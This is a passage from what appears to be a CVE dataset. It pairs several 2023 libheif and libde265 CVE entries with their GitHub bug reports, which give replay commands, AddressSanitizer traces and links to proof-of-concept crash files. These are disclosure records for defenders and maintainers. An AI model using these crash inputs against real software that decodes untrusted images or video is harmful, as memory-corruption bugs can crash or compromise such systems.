and plugins) --quiet do not output status messages to console -C, --chroma-upsampling ALGO Force chroma upsampling algorithm (nn = nearest-neighbor / bilinear) --png-compression-level # Set to integer between 0 (fastest) and 9 (best). Use -1 for default. ``` ### Replay ``` cd libheif mkdir build && cd build CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" cmake -DCMAKE_BUILD_TYPE=Debug -DWITH_UNCOMPRESSED_CODEC=ON .. make -j ./examples/heif-convert ./poc test.png ``` ### ASAN ``` ==89344==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f955d086aeb bp 0x7ffdd923ebb0 sp 0x7ffdd923e318 T0) ==89344==The signal is caused by a READ memory access. ==89344==Hint: address points to the zero page. #0 0x7f955d086aea in memcpy (/lib/x86_64-linux-gnu/libc.so.6+0xbbaea) #1 0x7f955d85f4de (/lib/x86_64-linux-gnu/libasan.so.4+0x7a4de) #2 0x7f955d6f8495 in UncompressedImageCodec::decode_uncompressed_image(std::shared_ptr<HeifFile const> const&, unsigned int, std::shared_ptr<HeifPixelImage>&, unsigned int, unsigned int, std::vector<unsigned char, std::allocator<unsigned char> > const&) libheif/libheif/uncompressed_image.cc:758 #3 0x7f955d5b7304 in HeifContext::decode_image_planar(unsigned int, std::shared_ptr<HeifPixelImage>&, heif_colorspace, heif_decoding_options const&, bool) const libheif/libheif/context.cc:1452 #4 0x7f955d5b42a8 in HeifContext::decode_image_user(unsigned int, std::shared_ptr<HeifPixelImage>&, heif_colorspace, heif_chroma, heif_decoding_options const&) const libheif/libheif/context.cc:1248 #5 0x7f955d5771f4 in heif_decode_image libheif/libheif/heif.cc:1044 #6 0x55e9351aca11 in main libheif/examples/heif_convert.cc:484 #7 0x7f955cfef082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) #8 0x55e9351a7add in _start (libheif/build/examples/heif-convert+0xbadd) ``` ### POC - [poc](https://github.com/fdu-sec/poc/raw/main/libheif/poc5) ### Environment ``` Description: Ubuntu 22.04.2 LTS gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 ``` ### Credit Yuchuan Meng ([Fudan University](https://secsys.fudan.edu.cn/))

AddressSanitizer: SEGV in `decode_uncompressed_image`

https://api.github.com/repos/strukturag/libheif/issues/1046/comments

2023-11-22T12:10:09Z

2023-12-14T15:36:32Z

https://github.com/strukturag/libheif/issues/1046

CVE-2023-49462

2023-12-07T20:15:38.190

libheif v1.17.5 was discovered to contain a segmentation violation via the component /libheif/exif.cc.

https://github.com/strukturag/libheif/issues/1043

github.com

### Description SEGV `libheif/libheif/exif.cc:55` in `read16` ### Version ``` heif-convert libheif version: 1.17.5 ------------------------------------------- Usage: heif-convert [options] <input-image> [output-image] The program determines the output file format from the output filename suffix. These suffixes are recognized: jpg, jpeg, png, y4m. If no output filename is specified, 'jpg' is used. Options: -h, --help show help -v, --version show version -q, --quality quality (for JPEG output) -o, --output FILENAME write output to FILENAME (optional) -d, --decoder ID use a specific decoder (see --list-decoders) --with-aux also write auxiliary images (e.g. depth images) --with-xmp write XMP metadata to file (output filename with .xmp suffix) --with-exif write EXIF metadata to file (output filename with .exif suffix) --skip-exif-offset skip EXIF metadata offset bytes --no-colons replace ':' characters in auxiliary image filenames with '_' --list-decoders list all available decoders (built-in and plugins) --quiet do not output status messages to console -C, --chroma-upsampling ALGO Force chroma upsampling algorithm (nn = nearest-neighbor / bilinear) --png-compression-level # Set to integer between 0 (fastest) and 9 (best). Use -1 for default. ``` ### Replay ``` cd libheif mkdir build && cd build CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" cmake --preset=release .. make -j ./examples/heif-convert ./poc test.png ``` ### ASAN ``` ==1926429==ERROR: AddressSanitizer: SEGV on unknown address 0x60b080000729 (pc 0x55abe2b1012c bp 0x000000000000 sp 0x7ffe0b2df5a0 T0) ==1926429==The signal is caused by a READ memory access. #0 0x55abe2b1012c in read16 /eva/put/libheif/libheif/exif.cc:55 #1 0x55abe2b1012c in find_exif_tag /eva/put/libheif/libheif/exif.cc:103 #2 0x55abe2b1136b in modify_exif_tag_if_it_exists(unsigned char*, int, unsigned short, unsigned short) /eva/put/libheif/libheif/exif.cc:124 #3 0x55abe2b1136b in modify_exif_orientation_tag_if_it_exists(unsigned char*, int, unsigned short) /eva/put/libheif/libheif/exif.cc:140 #4 0x55abe2b16c75 in PngEncoder::Encode(heif_image_handle const*, heif_image const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /eva/put/libheif/examples/encoder_png.cc:126 #5 0x55abe2b00c99 in main /eva/put/libheif/examples/heif_convert.cc:509 #6 0x7fb15dc29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #7 0x7fb15dc29e3f in __libc_start_main_impl ../csu/libc-start.c:392 #8 0x55abe2b09254 in _start (/eva/asan-bin/NestFuzz/libheif/heif-convert+0x15254) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /eva/put/libheif/libheif/exif.cc:55 in read16 ==1926429==ABORTING ``` ### POC [poc](https://github.com/fdu-sec/poc/raw/main/libheif/poc2) ### Environment ``` Description: Ubuntu 22.04.2 LTS gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 ``` ### Credit Yuchuan Meng ([Fudan University](https://secsys.fudan.edu.cn/))

SEGV libheif/libheif/exif.cc:55 in read16

https://api.github.com/repos/strukturag/libheif/issues/1043/comments

2023-11-22T09:15:02Z

2023-12-14T15:09:47Z

https://github.com/strukturag/libheif/issues/1043

CVE-2023-49463

2023-12-07T20:15:38.260

libheif v1.17.5 was discovered to contain a segmentation violation via the function find_exif_tag at /libheif/exif.cc.

https://github.com/strukturag/libheif/issues/1042

github.com

### Description SEGV `libheif/libheif/exif.cc:88` in `find_exif_tag` ### Version ``` heif-convert libheif version: 1.17.5 ------------------------------------------- Usage: heif-convert [options] <input-image> [output-image] The program determines the output file format from the output filename suffix. These suffixes are recognized: jpg, jpeg, png, y4m. If no output filename is specified, 'jpg' is used. Options: -h, --help show help -v, --version show version -q, --quality quality (for JPEG output) -o, --output FILENAME write output to FILENAME (optional) -d, --decoder ID use a specific decoder (see --list-decoders) --with-aux also write auxiliary images (e.g. depth images) --with-xmp write XMP metadata to file (output filename with .xmp suffix) --with-exif write EXIF metadata to file (output filename with .exif suffix) --skip-exif-offset skip EXIF metadata offset bytes --no-colons replace ':' characters in auxiliary image filenames with '_' --list-decoders list all available decoders (built-in and plugins) --quiet do not output status messages to console -C, --chroma-upsampling ALGO Force chroma upsampling algorithm (nn = nearest-neighbor / bilinear) --png-compression-level # Set to integer between 0 (fastest) and 9 (best). Use -1 for default. ``` ### Replay ``` cd libheif mkdir build && cd build CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" cmake --preset=release .. make -j ./examples/heif-convert ./poc test.png ``` ### ASAN ``` ================================================================= ==216883==ERROR: AddressSanitizer: SEGV on unknown address 0x60b0b184d2bc (pc 0x55f4628c3ca8 bp 0x00004e7b34c8 sp 0x7ffe414d49b0 T0) ==216883==The signal is caused by a READ memory access. #0 0x55f4628c3ca8 in find_exif_tag eva/put/libheif/libheif/exif.cc:88 #1 0x55f4628c536b in modify_exif_tag_if_it_exists(unsigned char*, int, unsigned short, unsigned short) eva/put/libheif/libheif/exif.cc:124 #2 0x55f4628c536b in modify_exif_orientation_tag_if_it_exists(unsigned char*, int, unsigned short) eva/put/libheif/libheif/exif.cc:140 #3 0x55f4628cac75 in PngEncoder::Encode(heif_image_handle const*, heif_image const*, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) eva/put/libheif/examples/encoder_png.cc:126 #4 0x55f4628b4c99 in main eva/put/libheif/examples/heif_convert.cc:509 #5 0x7fb342a29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #6 0x7fb342a29e3f in __libc_start_main_impl ../csu/libc-start.c:392 #7 0x55f4628bd254 in _start (eva/put/libheif/build/examples/heif-convert+0x15254) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV eva/put/libheif/libheif/exif.cc:88 in find_exif_tag ==216883==ABORTING ``` ### POC [poc](https://github.com/fdu-sec/poc/raw/main/libheif/poc1) ### Environment ``` Description: Ubuntu 22.04.2 LTS gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 ``` ### Credit Yuchuan Meng ([Fudan University](https://secsys.fudan.edu.cn/))

SEGV libheif/libheif/exif.cc:88 in find_exif_tag

https://api.github.com/repos/strukturag/libheif/issues/1042/comments

2023-11-22T09:11:42Z

2023-12-14T12:38:24Z

https://github.com/strukturag/libheif/issues/1042

CVE-2023-49464

2023-12-07T20:15:38.320

libheif v1.17.5 was discovered to contain a segmentation violation via the function UncompressedImageCodec::get_luma_bits_per_pixel_from_configuration_unci.

https://github.com/strukturag/libheif/issues/1044

github.com

### Description heap-use-after-free/SEGV/heap-buffer-overflow `libheif/libheif/uncompressed_image.cc:537` in `UncompressedImageCodec::get_luma_bits_per_pixel_from_configuration_unci` ### Version ``` commit: 64ece913266609789f5dc70fe7de9eb759badd7f heif-convert libheif version: 1.17.5 ------------------------------------------- Usage: heif-convert [options] <input-image> [output-image] The program determines the output file format from the output filename suffix. These suffixes are recognized: jpg, jpeg, png, y4m. If no output filename is specified, 'jpg' is used. Options: -h, --help show help -v, --version show version -q, --quality quality (for JPEG output) -o, --output FILENAME write output to FILENAME (optional) -d, --decoder ID use a specific decoder (see --list-decoders) --with-aux also write auxiliary images (e.g. depth images) --with-xmp write XMP metadata to file (output filename with .xmp suffix) --with-exif write EXIF metadata to file (output filename with .exif suffix) --skip-exif-offset skip EXIF metadata offset bytes --no-colons replace ':' characters in auxiliary image filenames with '_' --list-decoders list all available decoders (built-in and plugins) --quiet do not output status messages to console -C, --chroma-upsampling ALGO Force chroma upsampling algorithm (nn = nearest-neighbor / bilinear) --png-compression-level # Set to integer between 0 (fastest) and 9 (best). Use -1 for default. ``` ### Replay ``` cd libheif mkdir build && cd build CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" cmake -DCMAKE_BUILD_TYPE=Debug -DWITH_UNCOMPRESSED_CODEC=ON .. make -j ./examples/heif-convert ./poc test.png ``` ### ASAN > I just show the uaf case, you can use my poc to reproduce the others. ``` ==88148==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e000000910 at pc 0x7f7a88d9ab47 bp 0x7ffef17996e0 sp 0x7ffef17996d0 READ of size 2 at 0x60e000000910 thread T0 #0 0x7f7a88d9ab46 in UncompressedImageCodec::get_luma_bits_per_pixel_from_configuration_unci(HeifFile const&, unsigned int) libheif/libheif/uncompressed_image.cc:537 #1 0x7f7a88c96f95 in HeifFile::get_luma_bits_per_pixel_from_configuration(unsigned int) const libheif/libheif/file.cc:609 #2 0x7f7a88c58d54 in HeifContext::Image::get_luma_bits_per_pixel() const libheif/libheif/context.cc:1225 #3 0x7f7a88c1abf7 in heif_image_handle_get_luma_bits_per_pixel libheif/libheif/heif.cc:846 #4 0x55fa40c34835 in main libheif/examples/heif_convert.cc:475 #5 0x7f7a88694082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) #6 0x55fa40c2fadd in _start (libheif/build/examples/heif-convert+0xbadd) 0x60e000000910 is located 16 bytes inside of 160-byte region [0x60e000000900,0x60e0000009a0) freed by thread T0 here: #0 0x7f7a88f6c0d0 in operator delete(void*) (/lib/x86_64-linux-gnu/libasan.so.4+0xe20d0) #1 0x7f7a88c038d9 in __gnu_cxx::new_allocator<std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2> >::deallocate(std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2>*, unsigned long) /usr/include/c++/7/ext/new_allocator.h:125 #2 0x7f7a88bfef61 in std::allocator_traits<std::allocator<std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2> > >::deallocate(std::allocator<std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2> >&, std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2>*, unsigned long) /usr/include/c++/7/bits/alloc_traits.h:462 #3 0x7f7a88bf4553 in std::__allocated_ptr<std::allocator<std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2> > >::~__allocated_ptr() /usr/include/c++/7/bits/allocated_ptr.h:73 #4 0x7f7a88c1019d in std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2>::_M_destroy() /usr/include/c++/7/bits/shared_ptr_base.h:543 #5 0x7f7a88b94163 in std::_Sp_counted_base<(__gnu_cxx::_Lock_policy)2>::_M_release() /usr/include/c++/7/bits/shared_ptr_base.h:170 #6 0x7f7a88b938c3 in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::~__shared_count() /usr/include/c++/7/bits/shared_ptr_base.h:684 #7 0x7f7a88bc23e3 in std::__shared_ptr<Box, (__gnu_cxx::_Lock_policy)2>::~__shared_ptr() /usr/include/c++/7/bits/shared_ptr_base.h:1123 #8 0x7f7a88bc24a3 in std::shared_ptr<Box>::~shared_ptr() /usr/include/c++/7/bits/shared_ptr.h:93 #9 0x7f7a88be9854 in void std::_Destroy<std::shared_ptr<Box> >(std::shared_ptr<Box>*) /usr/include/c++/7/bits/stl_construct.h:98 #10 0x7f7a88be4eb8 in void std::_Destroy_aux<false>::__destroy<std::shared_ptr<Box>*>(std::shared_ptr<Box>*, std::shared_ptr<Box>*) /usr/include/c++/7/bits/stl_construct.h:108 #11 0x7f7a88bdafef in void std::_Destroy<std::shared_ptr<Box>*>(std::shared_ptr<Box>*, std::shared_ptr<Box>*) /usr/include/c++/7/bits/stl_construct.h:137 #12 0x7f7a88bce3b8 in void std::_Destroy<std::shared_ptr<Box>*, std::shared_ptr<Box> >(std::shared_ptr<Box>*, std::shared_ptr<Box>*, std::allocator<std::shared_ptr<Box> >&) /usr/include/c++/7/bits/stl_construct.h:206 #13 0x7f7a88bc3acf in std::vector<std::shared_ptr<Box>, std::allocator<std::shared_ptr<Box> > >::~vector() /usr/include/c++/7/bits/stl_vector.h:434 #14 0x7f7a88bc02f8 in Box::~Box() (libheif/build/libheif/libheif.so.1+0xa22f8) #15 0x7f7a88bc053e in FullBox::~FullBox() (libheif/build/libheif/libheif.so.1+0xa253e) #16 0x7f7a88c09a8c in Box_meta::~Box_meta() (libheif/build/libheif/libheif.so.1+0xeba8c) #17 0x7f7a88c12579 in void __gnu_cxx::new_allocator<Box_meta>::destroy<Box_meta>(Box_meta*) /usr/include/c++/7/ext/new_allocator.h:140 #18 0x7f7a88c111de in void std::allocator_traits<std::allocator<Box_meta> >::destroy<Box_meta>(std::allocator<Box_meta>&, Box_meta*) /usr/include/c++/7/bits/alloc_traits.h:487 #19 0x7f7a88c10310 in std::_Sp_counted_ptr_inplace<Box_meta, std::allocator<Box_meta>, (__gnu_cxx::_Lock_policy)2>::_M_dispose() /usr/include/c++/7/bits/shared_ptr_base.h:535 #20 0x7f7a88b940ec in std::_Sp_counted_base<(__gnu_cxx::_Lock_policy)2>::_M_release() /usr/include/c++/7/bits/shared_ptr_base.h:154 #21 0x7f7a88b938c3 in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::~__shared_count() /usr/include/c++/7/bits/shared_ptr_base.h:684 #22 0x7f7a88bc23e3 in std::__shared_ptr<Box, (__gnu_cxx::_Lock_policy)2>::~__shared_ptr() /usr/include/c++/7/bits/shared_ptr_base.h:1123 #23 0x7f7a88bc24a3 in std::shared_ptr<Box>::~shared_ptr() /usr/include/c++/7/bits/shared_ptr.h:93 #24 0x7f7a88b9d8b5 in Box::read(BitstreamRange&, std::shared_ptr<Box>*) libheif/libheif/box.cc:436 #25 0x7f7a88b9edac in Box::read_children(BitstreamRange&, int) libheif/libheif/box.cc:749 #26 0x7f7a88bab707 in Box_iprp::parse(BitstreamRange&) libheif/libheif/box.cc:1731 #27 0x7f7a88b9d7eb in Box::read(BitstreamRange&, std::shared_ptr<Box>*) libheif/libheif/box.cc:672 #28 0x7f7a88b9edac in Box::read_children(BitstreamRange&, int) libheif/libheif/box.cc:749 #29 0x7f7a88ba14a0 in Box_meta::parse(BitstreamRange&) libheif/libheif/box.cc:920 previously allocated by thread T0 here: #0 0x7f7a88f6b258 in operator new(unsigned long) (/lib/x86_64-linux-gnu/libasan.so.4+0xe1258) #1 0x7f7a88c038a8 in __gnu_cxx::new_allocator<std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) /usr/include/c++/7/ext/new_allocator.h:111 #2 0x7f7a88bfeeb4 in std::allocator_traits<std::allocator<std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2> >&, unsigned long) /usr/include/c++/7/bits/alloc_traits.h:436 #3 0x7f7a88bf44b9 in std::__allocated_ptr<std::allocator<std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2> > > std::__allocate_guarded<std::allocator<std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2> > >(std::allocator<std::_Sp_counted_ptr_inplace<Box_hdlr, std::allocator<Box_hdlr>, (__gnu_cxx::_Lock_policy)2> >&) /usr/include/c++/7/bits/allocated_ptr.h:104 #4 0x7f7a88bea393 in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<Box_hdlr, std::allocator<Box_hdlr>>(std::_Sp_make_shared_tag, Box_hdlr*, std::allocator<Box_hdlr> const&) /usr/include/c++/7/bits/shared_ptr_base.h:635 #5 0x7f7a88be5955 in std::__shared_ptr<Box_hdlr, (__gnu_cxx::_Lock_policy)2>::__shared_ptr<std::allocator<Box_hdlr>>(std::_Sp_make_shared_tag, std::allocator<Box_hdlr> const&) /usr/include/c++/7/bits/shared_ptr_base.h:1295 #6 0x7f7a88bdc441 in std::shared_ptr<Box_hdlr>::shared_ptr<std::allocator<Box_hdlr>>(std::_Sp_make_shared_tag, std::allocator<Box_hdlr> const&) /usr/include/c++/7/bits/shared_ptr.h:344 #7 0x7f7a88bcf8a2 in std::shared_ptr<Box_hdlr> std::allocate_shared<Box_hdlr, std::allocator<Box_hdlr>>(std::allocator<Box_hdlr> const&) /usr/include/c++/7/bits/shared_ptr.h:691 #8 0x7f7a88bc4768 in std::shared_ptr<Box_hdlr> std::make_shared<Box_hdlr>() /usr/include/c++/7/bits/shared_ptr.h:707 #9 0x7f7a88b9bcf3 in Box::read(BitstreamRange&, std::shared_ptr<Box>*) libheif/libheif/box.cc:448 #10 0x7f7a88b9edac in Box::read_children(BitstreamRange&, int) libheif/libheif/box.cc:749 #11 0x7f7a88ba14a0 in Box_meta::parse(BitstreamRange&) libheif/libheif/box.cc:920 #12 0x7f7a88b9d7eb in Box::read(BitstreamRange&, std::shared_ptr<Box>*) libheif/libheif/box.cc:672 #13 0x7f7a88b9edac in Box::read_children(BitstreamRange&, int) libheif/libheif/box.cc:749 #14 0x7f7a88bab707 in Box_iprp::parse(BitstreamRange&) libheif/libheif/box.cc:1731 #15 0x7f7a88b9d7eb in Box::read(BitstreamRange&, std::shared_ptr<Box>*) libheif/libheif/box.cc:672 #16 0x7f7a88b9edac in Box::read_children(BitstreamRange&, int) libheif/libheif/box.cc:749 #17 0x7f7a88ba14a0 in Box_meta::parse(BitstreamRange&) libheif/libheif/box.cc:920 #18 0x7f7a88b9d7eb in Box::read(BitstreamRange&, std::shared_ptr<Box>*) libheif/libheif/box.cc:672 #19 0x7f7a88b9edac in Box::read_children(BitstreamRange&, int) libheif/libheif/box.cc:749 #20 0x7f7a88ba14a0 in Box_meta::parse(BitstreamRange&) libheif/libheif/box.cc:920 #21 0x7f7a88b9d7eb in Box::read(BitstreamRange&, std::shared_ptr<Box>*) libheif/libheif/box.cc:672 #22 0x7f7a88c9217e in HeifFile::parse_heif_file(BitstreamRange&) libheif/libheif/file.cc:254 #23 0x7f7a88c8ffc6 in HeifFile::read(std::shared_ptr<StreamReader> const&) libheif/libheif/file.cc:107 #24 0x7f7a88c8f8c6 in HeifFile::read_from_file(char const*) libheif/libheif/file.cc:88 #25 0x7f7a88c4b3d7 in HeifContext::read_from_file(char const*) libheif/libheif/context.cc:429 #26 0x7f7a88c163ff in heif_context_read_from_file libheif/libheif/heif.cc:451 #27 0x55fa40c33e68 in main libheif/examples/heif_convert.cc:410 #28 0x7f7a88694082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) SUMMARY: AddressSanitizer: heap-use-after-free libheif/libheif/uncompressed_image.cc:537 in UncompressedImageCodec::get_luma_bits_per_pixel_from_configuration_unci(HeifFile const&, unsigned int) Shadow bytes around the buggy address: 0x0c1c7fff80d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1c7fff80e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c1c7fff80f0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c1c7fff8100: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1c7fff8110: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa =>0x0c1c7fff8120: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c1c7fff8130: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd 0x0c1c7fff8140: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa 0x0c1c7fff8150: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c1c7fff8160: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c1c7fff8170: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==88148==ABORTING ``` ### POC - [poc-heap-overflow](https://github.com/fdu-sec/poc/raw/main/libheif/poc3-hof) - [poc-heap-uaf](https://github.com/fdu-sec/poc/raw/main/libheif/poc3-huaf) - [poc-segv](https://github.com/fdu-sec/poc/raw/main/libheif/poc3-segv) ### Environment ``` Description: Ubuntu 22.04.2 LTS gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 ``` ### Credit Yuchuan Meng ([Fudan University](https://secsys.fudan.edu.cn/))

heap-use-after-free/SEGV/heap-buffer-overflow in UncompressedImageCodec::get_luma_bits_per_pixel_from_configuration_unci

https://api.github.com/repos/strukturag/libheif/issues/1044/comments

2023-11-22T11:55:49Z

2023-12-07T20:31:37Z

https://github.com/strukturag/libheif/issues/1044

CVE-2023-49465

2023-12-07T20:15:38.370

Libde265 v1.0.14 was discovered to contain a heap-buffer-overflow vulnerability in the derive_spatial_luma_vector_prediction function at motion.cc.

https://github.com/strukturag/libde265/issues/435

github.com

### Description heap-buffer-overflow `libde265/libde265/motion.cc:1860` in `derive_spatial_luma_vector_prediction(base_context*, de265_image*, slice_segment_header const*, int, int, int, int, int, int, int, int, int, int, unsigned char*, MotionVector*)` ### Version ``` dec265 v1.0.14 ----------------- usage: dec265 [options] videofile.bin The video file must be a raw bitstream, or a stream with NAL units (option -n). options: -q, --quiet do not show decoded image -t, --threads N set number of worker threads (0 - no threading) -c, --check-hash perform hash check -n, --nal input is a stream with 4-byte length prefixed NAL units -f, --frames N set number of frames to process -o, --output write YUV reconstruction -d, --dump dump headers -0, --noaccel do not use any accelerated code (SSE) -v, --verbose increase verbosity level (up to 3 times) -L, --no-logging disable logging -B, --write-bytestream FILENAME write raw bytestream (from NAL input) -m, --measure YUV compute PSNRs relative to reference YUV -T, --highest-TID select highest temporal sublayer to decode --disable-deblocking disable deblocking filter --disable-sao disable sample-adaptive offset filter -h, --help show help ``` ### Replay ``` cd libde265 CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" ./configure make -j # You need to try running poc several times to see the asan result. ./dec265/dec265 ./poc ``` ### ASAN ``` ==1982966==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b000001b10 at pc 0x56501e786954 bp 0x7ffc66164680 sp 0x7ffc66164670 READ of size 4 at 0x61b000001b10 thread T0 #0 0x56501e786953 in derive_spatial_luma_vector_prediction(base_context*, de265_image*, slice_segment_header const*, int, int, int, int, int, int, int, int, int, int, unsigned char*, MotionVector*) libde265/libde265/motion.cc:1860 #1 0x56501e787950 in fill_luma_motion_vector_predictors(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, int, int, int, MotionVector*) libde265/libde265/motion.cc:1990 #2 0x56501e79c58a in luma_motion_vector_prediction(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int, int, int) libde265/libde265/motion.cc:2063 #3 0x56501e79c58a in motion_vectors_and_ref_indices(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int, PBMotion*) libde265/libde265/motion.cc:2155 #4 0x56501e79c58a in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) libde265/libde265/motion.cc:2195 #5 0x56501e662806 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) libde265/libde265/slice.cc:4145 #6 0x56501e66c4cb in read_coding_unit(thread_context*, int, int, int, int) libde265/libde265/slice.cc:4506 #7 0x56501e670f59 in read_coding_quadtree(thread_context*, int, int, int, int) libde265/libde265/slice.cc:4650 #8 0x56501e670df6 in read_coding_quadtree(thread_context*, int, int, int, int) libde265/libde265/slice.cc:4644 #9 0x56501e670f59 in read_coding_quadtree(thread_context*, int, int, int, int) libde265/libde265/slice.cc:4650 #10 0x56501e673696 in decode_substream(thread_context*, bool, bool) libde265/libde265/slice.cc:4750 #11 0x56501e679fc9 in read_slice_segment_data(thread_context*) libde265/libde265/slice.cc:5063 #12 0x56501e53c8b4 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) libde265/libde265/decctx.cc:854 #13 0x56501e543e55 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) libde265/libde265/decctx.cc:956 #14 0x56501e5477eb in decoder_context::decode_some(bool*) libde265/libde265/decctx.cc:741 #15 0x56501e55957a in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) libde265/libde265/decctx.cc:699 #16 0x56501e55b645 in decoder_context::decode_NAL(NAL_unit*) libde265/libde265/decctx.cc:1241 #17 0x56501e55c508 in decoder_context::decode(int*) libde265/libde265/decctx.cc:1329 #18 0x56501e51646c in main libde265/dec265/dec265.cc:784 #19 0x7fd4aa229d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #20 0x7fd4aa229e3f in __libc_start_main_impl ../csu/libc-start.c:392 #21 0x56501e518ce4 in _start (eva/asan-bin/NestFuzz/libde265/dec265+0x1ece4) 0x61b000001b10 is located 8 bytes to the right of 1416-byte region [0x61b000001580,0x61b000001b08) allocated by thread T0 here: #0 0x7fd4aaab61e7 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:99 #1 0x56501e557f17 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) libde265/libde265/decctx.cc:635 SUMMARY: AddressSanitizer: heap-buffer-overflow libde265/libde265/motion.cc:1860 in derive_spatial_luma_vector_prediction(base_context*, de265_image*, slice_segment_header const*, int, int, int, int, int, int, int, int, int, int, unsigned char*, MotionVector*) ``` ### POC [poc](https://github.com/fdu-sec/poc/raw/main/libde265/poc23) ### Environment ``` Description: Ubuntu 22.04.2 LTS gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0 ``` ### Credit Yuchuan Meng ([Fudan University](https://secsys.fudan.edu.cn/))

heap-buffer-overflow `libde265/libde265/motion.cc:1860` in `derive_spatial_luma_vector_prediction`

https://api.github.com/repos/strukturag/libde265/issues/435/comments

2023-11-23T02:44:12Z

2023-12-20T10:49:09Z

https://github.com/strukturag/libde265/issues/435

CVE-2023-49467

2023-12-07T20:15:38.427

Libde265 v1.0.14 was discovered to contain a heap-buffer-overflow vulnerability in the derive_combined_bipredictive_merging_candidates function at motion.cc.

https://github.com/strukturag/libde265/issues/434

github.com

### Description heap-buffer-overflow `eva/put/libde265/libde265/motion.cc:1443` in `derive_combined_bipredictive_merging_candidates(base_context const*, slice_segment_header const*, PBMotion*, int*, int)` ### Version ``` dec265 v1.0.14 ----------------- usage: dec265 [options] videofile.bin The video file must be a raw bitstream, or a stream with NAL units (option -n). options: -q, --quiet do not show decoded image -t, --threads N set number of worker threads (0 - no threading) -c, --check-hash perform hash check -n, --nal input is a stream with 4-byte length prefixed NAL units -f, --frames N set number of frames to process -o, --output write YUV reconstruction -d, --dump dump headers -0, --noaccel do not use any accelerated code (SSE) -v, --verbose increase verbosity level (up to 3 times) -L, --no-logging disable logging -B, --write-bytestream FILENAME write raw bytestream (from NAL input) -m, --measure YUV compute PSNRs relative to 